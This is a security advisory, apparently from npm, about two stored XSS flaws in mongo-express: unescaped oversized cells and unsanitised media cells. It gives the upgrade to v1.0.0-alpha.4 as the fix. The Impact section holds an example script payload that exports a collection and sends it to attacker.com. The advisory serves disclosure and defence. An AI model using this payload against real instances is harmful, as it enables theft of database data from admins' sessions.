Severity: high

    Cross-site scripting

    mongo-express

    Overview

    Two kinds of XSS were found in affected versions of mongo-express.

    1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
    2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

    Impact

    As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

    {"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

    This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

    Patches

    Upgrade to v1.0.0-alpha.4

    For more information

    If you have any questions or comments about this advisory:

    Remediation

    Upgrade to version 1.0.0-alpha.4 or later

    Resources

    Have content suggestions? Visit npmjs.com/support.

    Advisory timeline

    1. published

      Advisory Published
      Jun 28th, 2021
    2. reported

      Reported by Anonymous
      Jun 28th, 2021